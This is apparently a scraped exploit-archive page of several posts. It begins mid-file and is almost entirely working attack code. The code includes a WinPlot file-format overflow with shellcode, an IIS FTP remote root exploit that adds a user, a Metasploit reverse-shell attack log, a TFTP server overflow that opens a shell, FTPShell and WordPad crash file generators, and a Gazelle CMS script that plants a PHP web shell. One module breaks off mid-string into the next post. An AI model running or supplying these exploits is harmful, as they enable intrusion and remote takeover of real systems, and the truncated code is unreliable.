"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x97\xcd\xaa".
"\x1f\xf8\xae\xe6\x00\x40\x4c\x8d\x4e\xf3\x22\x84\x33\xb8\xfb\x3f".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00".
"\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40".
"\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00".
"\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00".
"\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40".
"\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00".
"\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00".
"\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40".
"\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00".
"\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\x40\xb0\x8e\xaa\x00\x0c\x00\x00\x00".
"\x00\x00\x00\x00\xf0\xf4\x12\x00\x40\xb0\x8e\xaa\x00\x0c\x00\x00".
"\x00\x00\x00\x00\x00\xf0\xf4\x12\x00\x40\xb0\x8e\xaa\x00\x0c\x00".
"\x00\x00\x00\x00\x00\x00\xf0\xf4\x12\x00\x40\x00\x00\x00\x00\x00".
"\x00\x01\x00\x00\x00\x00\x78\x78\x2b\x79\x79\x3d\x31\x33\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x7d\x59\x00\x00\x10\x49\x54\x00\x10\x49\x54\x00\x00".
"\x00\x00\x00\xbf\x00\x3f\x00\xaa\x55\x77\x03\x65\xa4\x24\x9e\x01".
"\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x66\x33\x44\xe9\x5c".
"\x36\x43\x94\x01\xc0\x10\x89\xbb\xec\xc1\xda\x67\x92\x01\x40\xf3".
"\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
"\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69".
"\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00";

$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x57".
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38".
"\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x43\x4b\x58".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x38\x42\x4c".
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x34".
"\x4b\x48\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x48\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x57".
"\x4e\x50\x4b\x48\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a".
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x48\x42\x4b".
"\x42\x50\x42\x30\x42\x30\x4b\x38\x4a\x36\x4e\x53\x4f\x35\x41\x43".
"\x48\x4f\x42\x46\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x30\x5a";

$seh = "\xe8\x4e\xf6\xff\xff";
$neh = "\x4d\x23\x50\x00";
$junk = "\x41" x 2309;
$junk2 = "\x42" x (2327-length($shellcode));
$buffer = $header1.$junk.$shellcode.$junk2.$neh.$seh.$header2;
print "crafted file: winplotxpl.wp2\n";

open (FILE, ">winplotxpl.wp2");
print FILE $buffer;
close(FILE);

Tagged with:
Sep 07

# IIS 5.0 FTPd / Remote r00t exploit
# Win2k SP4 targets
# bug found & exploited by Kingcope, kcope2<at>googlemail.com
# Affects IIS6 with stack cookie protection
# August 2009 – KEEP THIS 0DAY PRIV8
use IO::Socket;
$|=1;
#metasploit shellcode, adduser "winown:nwoniw"
$sc = "\x89\xe2\xda\xde\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x43\x30\x43\x30" .
"\x43\x30\x4c\x4b\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55" .
"\x42\x58\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b" .
"\x51\x4f\x51\x30\x43\x31\x4a\x4b\x47\x39\x4c\x4b\x47\x44" .
"\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c" .
"\x4c\x44\x49\x50\x44\x34\x43\x37\x49\x51\x49\x5a\x44\x4d" .
"\x43\x31\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44\x46\x44" .
"\x43\x34\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x51\x34\x43\x31" .
"\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" .
"\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51" .
"\x4a\x4b\x4b\x39\x51\x4c\x46\x44\x44\x44\x48\x43\x51\x4f" .
"\x46\x51\x4c\x36\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x42\x48\x45\x58\x4d\x59\x4a\x58\x4c\x43" .
"\x49\x50\x43\x5a\x46\x30\x43\x58\x4c\x30\x4c\x4a\x44\x44" .
"\x51\x4f\x43\x58\x4a\x38\x4b\x4e\x4d\x5a\x44\x4e\x50\x57" .
"\x4b\x4f\x4a\x47\x42\x43\x42\x4d\x45\x34\x46\x4e\x42\x45" .
"\x44\x38\x43\x55\x47\x50\x46\x4f\x45\x33\x47\x50\x42\x4e" .
"\x42\x45\x43\x44\x51\x30\x44\x35\x44\x33\x45\x35\x44\x32" .
"\x51\x30\x43\x47\x43\x59\x42\x4e\x42\x4f\x43\x47\x42\x4e" .
"\x51\x30\x42\x4e\x44\x37\x42\x4f\x42\x4e\x45\x39\x43\x47" .
"\x47\x50\x46\x4f\x51\x51\x50\x44\x47\x34\x51\x30\x46\x46" .
"\x51\x36\x51\x30\x42\x4e\x42\x45\x44\x34\x51\x30\x42\x4c" .
"\x42\x4f\x43\x53\x45\x31\x42\x4c\x42\x47\x43\x42\x42\x4f" .
"\x43\x45\x42\x50\x47\x50\x47\x31\x42\x44\x42\x4d\x45\x39" .
"\x42\x4e\x42\x49\x42\x53\x43\x44\x43\x42\x45\x31\x44\x34" .
"\x42\x4f\x43\x42\x43\x43\x47\x50\x42\x57\x45\x39\x42\x4e" .
"\x42\x4f\x42\x57\x42\x4e\x47\x50\x46\x4f\x47\x31\x51\x54" .
"\x51\x54\x43\x30\x41\x41";
#1ca
print "IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\n";
if ($#ARGV ne 1) {
print "usage: iiz5.pl <target> <your local ip>\n";
exit(0);
}
srand(time());
$port = int(rand(31337-1022)) + 1025;
$locip = $ARGV[1];
$locip =~ s/\./,/gi;
if (fork()) {
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => ‘21′,
                              Proto    => ‘tcp’);
$patch = "\x7E\xF1\xFA\x7F";
#$retaddr = "ZZZZ";
$retaddr = "\x9B\xB1\xF4\x77"; # JMP ESP univ on 2 win2k platforms
$v = "KSEXY" . $sc . "V" x (500-length($sc)-5);
# top address of stack frame where shellcode resides, is hardcoded inside this block
$findsc="\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38\x53"
   ."\x45\x58\x59\x75\xF7\x40\x40\x40\x40\xFF\xFF\xE0";
# attack buffer
$c = $findsc . "C" . ($patch x (76/4)) . $patch.$patch.
   ($patch x (52/4)) .$patch."EEEE$retaddr".$patch.
   "HHHHIIII".
$patch."JKKK"."\xE9\x63\xFE\xFF\xFF\xFF\xFF"."NNNN";
$x = <$sock>;
print $x;                            
print $sock "USER anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "PASS anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "MKD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack)
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "CWD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "MKD CCC". "$c\r\n";
$x = <$sock>;
print $x;
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n";
$x = <$sock>;
print $x;
# TRIGGER
print $sock "NLST $c*/../C*/\r\n";
$x = <$sock>;
print $x;
while (1) {}
} else {
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => ‘tcp’, Listen => 1);
die "Could not create socket: $!\n" unless $servsock;
my $new_sock = $servsock->accept();
while(<$new_sock>) {
print $_;
}
close($servsock);
}
#Cheerio,
#
#Kingcope

Tagged with:
Sep 05

#–attack-log–
#attacker@dz-labs:~/pentests/metasploit/framework-3.2/trunk$
./msfcli exploit/windows/ldap/sidvault_ldap #PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 RHOST=192.168.1.3 E
#[*] Please wait while we load the module tree…
#[*] Handler binding to LHOST 0.0.0.0
#[*] Started reverse handler
#[*] Sending stage (718336 bytes)
#[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.3:1076)

#meterpreter >

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,   
            ‘Name’           => ‘SIDVault 2.0e Windows Remote Buffer Overflow’,
            ‘Description’    => %q{
                This exploits a buffer overflow in the LDAP service that is
                part of the SIDVault product. This module was tested against
                version 2.0e.
            },
            ‘Author’      => [ 'His0k4 <his0k4.hlm[at]gmail.com>’ ],
            ‘License’        => MSF_LICENSE,
            ‘Version’        => ‘$Revision$’,
            ‘References’     =>
                [
                    [ 'URL', 'Tagged with:

Aug 23

#!/usr/bin/python

#ProSysInfo TFTP Server TFTPDWIN 0.4.2
#Coded by Wraith

import os
import sys
import struct
import socket
import time

print "\nProSysInfo TFTP Server TFTPDWIN 0.4.2"
print "Note: This vuln is sensitive to different buffer length\n"
if len(sys.argv)!=2:
        print "Usage: tftpdwin.py <ip>"
        sys.exit(0)

buffer = "\x00\x01\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
buffer += "\x8b\xc3\x66\x05\x12\x01\x50\xc3" + "\x90"*57

buffer += "\x59\x81\xc9\xd3\x62\x30\x20\x41\x43\x4d\x64"
buffer += "\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C"
buffer += "\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77"
buffer += "\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60"
buffer += "\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF"
buffer += "\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7"
buffer += "\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B"
buffer += "\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4"
buffer += "\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3"
buffer += "\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x11\x5c\x32\xE4"
buffer += "\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\xFE\x44"
buffer += "\x24\x2c\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50"
buffer += "\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8\x90\x90\x90\x90\x90\x90\x90"
buffer += "\x42\xfb\x61\x40\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00"

target = sys.argv[1]
def Connect(target):
    connect = "telnet " + target + " 4444"
    os.system(connect)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:
    s.sendto(buffer, (target,69))
    print "[*] Initiating Buffer Overflow"
    time.sleep(2)
    print "[*] Attempting Connection to Remote Host"
    time.sleep(2)
    print "[*] Please Wait…\n"
    time.sleep(3)
    Connect(target)
    print "\nClosing Remote Connection\n"
    sys.exit(0)
except:
    print "Goodbye\n"   

Tagged with:
Aug 15

/* dedicated to my best friend in the whole world, Robin Price
   the joke is in your hands

   just too easy — some nice library functions for reuse here though

   credits to julien tinnes/tavis ormandy for the bug

   may want to remove the __attribute__((regparm(3))) for 2.4 kernels,
   I have no time to test

spender@www:~$ cat redhat_hehe
I bet Red Hat will wish they closed the SELinux vulnerability when they
were given the opportunity to.  Now all RHEL boxes will get owned by
leeches.c :p

fd7810e34e9856f77cba67f291ba115f33411ebd
d4b0e413ebf15d039953dfabf7f9a2d1

thanks to Dan Walsh for the great SELinux bypass even on "fixed" SELinux
policies

and nice work Linus on trying to silently fix an 8 year old
vulnerability, leaving vendors without patched kernels for their users.

  use ./wunderbar_emporium.sh for everything

don’t have mplayer? watch an earlier version of the exploit at:
http://www.youtube.com/watch?v=arAfIp7YzZ4

*/

http://www.grsecurity.net/~spender/wunderbar_emporium.tgz
back: http://milw0rm.com/sploits/2009-wunderbar_emporium.tgz

Tagged with:
Aug 14

/*
* FTPShell Client, Name Session Stack Overflow Exploit
* Tested on Version 4.1 RC2 on Windows XP SP3
* Vulnerable program download page : http://www.ftpshell.com/downloadclient.htm
* Coded by zec
* Feel yourself freely to get into touch : zec@bsdmail.com
*/

package ftpbof;
import java.io.DataOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
/**
* @author zec
*/
public class Main {
    public static void main(String[] args) throws IOException  {
        /*  Shellcode calc.exe
         *  jmp esp 0×7C86467B
         */
        byte[] data = new byte[2548];
        for(int i = 1; i<data.length; ++i)
            data[i] = (byte)0×41;
        byte[] shell = new byte[]{
(byte)0×7B, (byte)0×46, (byte)0×86, (byte)0×7C, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0xeb, (byte)0×03 ,(byte)0×59, (byte)0xeb, (byte)0×05, (byte)0xe8, (byte)0xf8, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0×4f, (byte)0×49, (byte)0×49, (byte)0×49, (byte)0×49, (byte)0×49, (byte)0×49, (byte)0×51, (byte)0×5a, (byte)0×56, (byte)0×54, (byte)0×58, (byte)0×36, (byte)0×33, (byte)0×30, (byte)0×56, (byte)0×58, (byte)0×34, (byte)0×41, (byte)0×30, (byte)0×42, (byte)0×36, (byte)0×48, (byte)0×48, (byte)0×30, (byte)0×42, (byte)0×33, (byte)0×30, (byte)0×42, (byte)0×43, (byte)0×56, (byte)0×58, (byte)0×32, (byte)0×42, (byte)0×44, (byte)0×42, (byte)0×48, (byte)0×34, (byte)0×41, (byte)0×32, (byte)0×41, (byte)0×44, (byte)0×30, (byte)0×41, (byte)0×44, (byte)0×54, (byte)0×42, (byte)0×44, (byte)0×51, (byte)0×42, (byte)0×30, (byte)0×41, (byte)0×44, (byte)0×41, (byte)0×56, (byte)0×58, (byte)0×34, (byte)0×5a, (byte)0×38, (byte)0×42, (byte)0×44, (byte)0×4a, (byte)0×4f, (byte)0×4d, (byte)0×4e, (byte)0×4f, (byte)0×4a, (byte)0×4e, (byte)0×46, (byte)0×54, (byte)0×42, (byte)0×50, (byte)0×42, (byte)0×50, (byte)0×42, (byte)0×30, (byte)0×4b, (byte)0×58, (byte)0×45, (byte)0×54, (byte)0×4e, (byte)0×33, (byte)0×4b, (byte)0×38, (byte)0×4e, (byte)0×57, (byte)0×45, (byte)0×30, (byte)0×4a, (byte)0×37, (byte)0×41, (byte)0×30, (byte)0×4f, (byte)0×4e, (byte)0×4b, (byte)0×58, (byte)0×4f, (byte)0×44, (byte)0×4a, (byte)0×41, (byte)0×4b, (byte)0×38, (byte)0×4f, (byte)0×35, (byte)0×42, (byte)0×42, (byte)0×41, (byte)0×30, (byte)0×4b, (byte)0×4e, (byte)0×49, (byte)0×34, (byte)0×4b, (byte)0×58, (byte)0×46, (byte)0×33, (byte)0×4b, (byte)0×58, (byte)0×41, (byte)0×30, (byte)0×50, (byte)0×4e, (byte)0×41, (byte)0×33, (byte)0×42, (byte)0×4c, (byte)0×49, (byte)0×39, (byte)0×4e, (byte)0×4a, (byte)0×46, (byte)0×58, (byte)0×42, (byte)0×4c, (byte)0×46, (byte)0×37, (byte)0×47, (byte)0×30, (byte)0×41, (byte)0×4c, (byte)0×4c, (byte)0×4c, (byte)0×4d, (byte)0×50, (byte)0×41, (byte)0×50, (byte)0×44, (byte)0×4c, (byte)0×4b, (byte)0×4e, (byte)0×46, (byte)0×4f, (byte)0×4b, (byte)0×53, (byte)0×46, (byte)0×55, (byte)0×46, (byte)0×32, (byte)0×46, (byte)0×30, (byte)0×45, (byte)0×47, (byte)0×45, (byte)0×4e, (byte)0×4b, (byte)0×48, (byte)0×4f, (byte)0×35, (byte)0×46, (byte)0×32, (byte)0×41, (byte)0×50, (byte)0×4b, (byte)0×4e, (byte)0×48, (byte)0×36, (byte)0×4b, (byte)0×58, (byte)0×4e, (byte)0×50, (byte)0×4b, (byte)0×54, (byte)0×4b, (byte)0×58, (byte)0×4f, (byte)0×35, (byte)0×4e, (byte)0×31, (byte)0×41, (byte)0×50, (byte)0×4b, (byte)0×4e, (byte)0×4b, (byte)0×38, (byte)0×4e, (byte)0×41, (byte)0×4b, (byte)0×38, (byte)0×41, (byte)0×30, (byte)0×4b, (byte)0×4e, (byte)0×49, (byte)0×38, (byte)0×4e, (byte)0×45, (byte)0×46, (byte)0×52, (byte)0×46, (byte)0×50, (byte)0×43, (byte)0×4c, (byte)0×41, (byte)0×53, (byte)0×42, (byte)0×4c, (byte)0×46, (byte)0×46, (byte)0×4b, (byte)0×48, (byte)0×42, (byte)0×44, (byte)0×42, (byte)0×43, (byte)0×45, (byte)0×38, (byte)0×42, (byte)0×4c, (byte)0×4a, (byte)0×37, (byte)0×4e, (byte)0×50, (byte)0×4b, (byte)0×48, (byte)0×42, (byte)0×44, (byte)0×4e, (byte)0×50, (byte)0×4b, (byte)0×48, (byte)0×42, (byte)0×57, (byte)0×4e, (byte)0×51, (byte)0×4d, (byte)0×4a, (byte)0×4b, (byte)0×48, (byte)0×4a, (byte)0×46, (byte)0×4a, (byte)0×30, (byte)0×4b, (byte)0×4e, (byte)0×49, (byte)0×30, (byte)0×4b, (byte)0×58, (byte)0×42, (byte)0×58, (byte)0×42, (byte)0×4b, (byte)0×42, (byte)0×30, (byte)0×42, (byte)0×50, (byte)0×42, (byte)0×30, (byte)0×4b, (byte)0×48, (byte)0×4a, (byte)0×46, (byte)0×4e, (byte)0×43, (byte)0×4f, (byte)0×55, (byte)0×41, (byte)0×43, (byte)0×48, (byte)0×4f, (byte)0×42, (byte)0×56, (byte)0×48, (byte)0×55, (byte)0×49, (byte)0×58, (byte)0×4a, (byte)0×4f, (byte)0×43, (byte)0×38, (byte)0×42, (byte)0×4c, (byte)0×4b, (byte)0×57, (byte)0×42, (byte)0×55, (byte)0×4a, (byte)0×46, (byte)0×4f, (byte)0×4e, (byte)0×50, (byte)0×4c, (byte)0×42, (byte)0×4e, (byte)0×42, (byte)0×46, (byte)0×4a, (byte)0×36, (byte)0×4a, (byte)0×49, (byte)0×50, (byte)0×4f, (byte)0×4c, (byte)0×48, (byte)0×50, (byte)0×30, (byte)0×47, (byte)0×35, (byte)0×4f, (byte)0×4f, (byte)0×47, (byte)0×4e, (byte)0×43, (byte)0×46, (byte)0×41, (byte)0×56, (byte)0×4e, (byte)0×46, (byte)0×43, (byte)0×56, (byte)0×50, (byte)0×42, (byte)0×45, (byte)0×56, (byte)0×4a, (byte)0×37, (byte)0×45, (byte)0×36, (byte)0×42, (byte)0×30, (byte)0×5a
                                };
        try{
            DataOutputStream out = new DataOutputStream(new FileOutputStream("c:\\exp.txt"));
            System.out.println("[+] Writing malicious data to file..");
            out.write(data);
            out.write(shell);
            out.close();
        }catch(FileNotFoundException err){System.out.println("[-] Couldn’t be written.Error : "+err.getMessage());}
            System.out.println("[+] Exploited successfully.");
    }

}

Tagged with:
Aug 13

#!/usr/bin/perl
#Microsoft Wordpad on WinXP SP3 Memory Exhaustion Vulnerability – 0day
#Works on WinXP SP3!
#bug found by murderkey in Hellcode Labs.
#exploit coded by karak0rsan aka musashi
#Hellcode Resarch
#just a fuckin’ lame 0day bug for fun!

$file = "hellcoded.rtf";
$header =
"\x7b\x5c\x72\x74\x66\x31\x5c\x61\x6e\x73\x69\x5c\x61\x6e\x73\x69\x63\x70\x67\x31\x32".
"\x35\x34\x5c\x64\x65\x66\x66\x30\x5c\x64\x65\x66\x6c\x61\x6e\x67\x31\x30\x35\x35\x7b".
"\x5c\x66\x6f\x6e\x74\x74\x62\x6c\x7b\x5c\x66\x30\x5c\x66\x73\x77\x69\x73\x73\x5c\x66".
"\x63\x68\x61\x72\x73\x65\x74\x31\x36\x32\x7b\x5c\x2a\x5c\x66\x6e\x61\x6d\x65\x20\x41".
"\x72\x69\x61\x6c\x3b\x7d\x41\x72\x69\x61\x6c\x20\x54\x55\x52\x3b\x7d\x7d\x0a\x7b\x5c".
"\x2a\x5c\x67\x65\x6e\x65\x72\x61\x74\x6f\x72\x20\x4d\x73\x66\x74\x65\x64\x69\x74\x20".
"\x35\x2e\x34\x31\x2e\x31\x35\x2e\x31\x35\x31\x35\x3b\x7d\x5c\x76\x69\x65\x77\x6b\x69".
"\x6e\x64\x34\x5c\x75\x63\x31\x5c\x70\x61\x72\x64\x5c\x66\x30\x5c\x66\x73\x32\x30";

$subheader = "\x5c\x41\x41\x41\x41\x41\x5c\x41\x41\x41\x41\x5c\x70\x61\x72\x0a\x7d\x0a\x00";
$ekheader = "\x5c\x70\x61\x72\x0a";
$buffer = "A" x 578001;
$buffer2 = "A" x 289000;
$buffer3 = "A" x 18186;
$buffer4 = "A" x 863973;
$buffer5= "A" x 578000;
$memory = $header.$buffer.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer4.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$ekheader.$buffer5.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer3.$subheader;
   open(file, ‘>’ . $file);
   print file $memory;
   close(file);
print "File PoC exploit has created!\n";

exit(); */

Tagged with:
Aug 13

#!/bin/bash
#       Gazelle CMS 1.0 Multiple Vulnerabilities
#       Script Download: http://www.anantasoft.com/index.php?Gazelle%20CMS/Download
#       Found by white_sheep on 11/08/2009
#       Contact: sheewhite@googlemail.com – https://www.ihteam.net
#       Need magic_quote_gpc Off for RCE and LFI
#       Thanks to R00T[ATI]
#
#               PASSWORD RESET:
# http://localhost/gazelle/renew.php?user=[username]
#
#               LFI:
# author: fuzion (milw0rm.com/author/1343)
# http://localhost/gazelle/index.php?template=[LFI]
#
#               XSS:
# http://localhost/gazelle/user.php?user=</title>[XSS]
# http://localhost/gazelle/search.php?lookup=<script+type="text/javascript">[CODE]</script>
#
#               RCE:
echo
echo "###############################################"
echo "#             GazelleCMS 1.0 RCE              #"
echo "#  by white_sheep                    #"
echo "#  sheewhite[at]googlemail[dot]com            #"
echo "#                            #"
echo "#           https://www.ihteam.net            #"
echo "###############################################"
echo

EVILC=’<?php passthru($_GET[cmd]); ?>’

echo -n "Insert url with path (ex.: http://localhost/gazelle): "
read SITE

PAGENAME=/modules/menu$RANDOM’.bak.php’

curl -F "siteTitle=’INIT’$EVILC’EOF’;type=text/html" $SITE’/admin/settemplate.php?customizetemplate=..’$PAGENAME’%00′ 1>/dev/null 2>/dev/null

if [ "`curl -s $SITE''$PAGENAME | grep siteTitle`" == "" ]
then
    echo "[-] Not Vulnerable :( byee"
    exit
fi

while true
do
    echo -n "sh$: "
    read -r CMD
    CMD=`echo $CMD | sed ’s/ /+/g’`
    echo $CMD
    curl -s "$SITE$PAGENAME?cmd=$CMD" | sed "s/.*’INIT’//g;s/’EOF’.*//g"
    echo
done

Tagged with:
preload preload preload